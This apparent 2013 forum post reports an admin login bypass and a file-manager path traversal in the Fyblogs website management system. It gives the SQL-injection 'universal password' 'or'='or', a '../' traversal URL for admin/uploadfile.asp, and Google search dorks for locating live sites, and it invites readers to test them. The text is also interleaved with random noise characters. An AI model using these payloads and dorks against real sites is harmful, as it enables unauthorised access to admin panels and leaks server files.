漏洞类型： 未授权访问/权限绕过 S. L) a# ^! W+ z9 H1 O
6 Q% y- @& F- f, H" u% l简要描述：+ p! u, j4 e: t/ y% f7 d
5 K; Z# z( s6 h) x3 Y! KFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
# Q# e8 r& b; O# ~! l. k) d, o& |) C4 e7 G3 h9 Y/ Y) O
详细说明：
4 Z4 V* |6 }" V
$ B# D& J. Y8 o后台万能密码 'or'='or'
9 W: q' n4 d5 V E后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！0 Y3 X6 j. |& i! q7 K
admin/uploadfile.asp?currentFolder=/upfiles/../ I) ~# E0 }7 G8 s4 H
$ H3 @1 l! W" M3 X1 B) s- G" t
漏洞证明：7 x s$ j/ ~ F! K* P/ t
" H+ n* _( a, K" W. x谷歌：inurl:type.asp?id=1 新闻中心" M5 c5 b0 a5 c" H9 w+ ~+ F1 o" e
或者 ：inurl:download_ok.asp?/ _% g4 v/ N$ l C) ?
1 ~! W; _* g8 C9 j3 i1 t" E
可以测试4 g" l( N. |+ X$ N
6 q" q" V! M+ P" u1 R6 @1 w9 w6 h4 h
; a$ A$ a: w" m, Y) ^
|
发表于 2013-3-7 13:07:46
收藏
支持
反对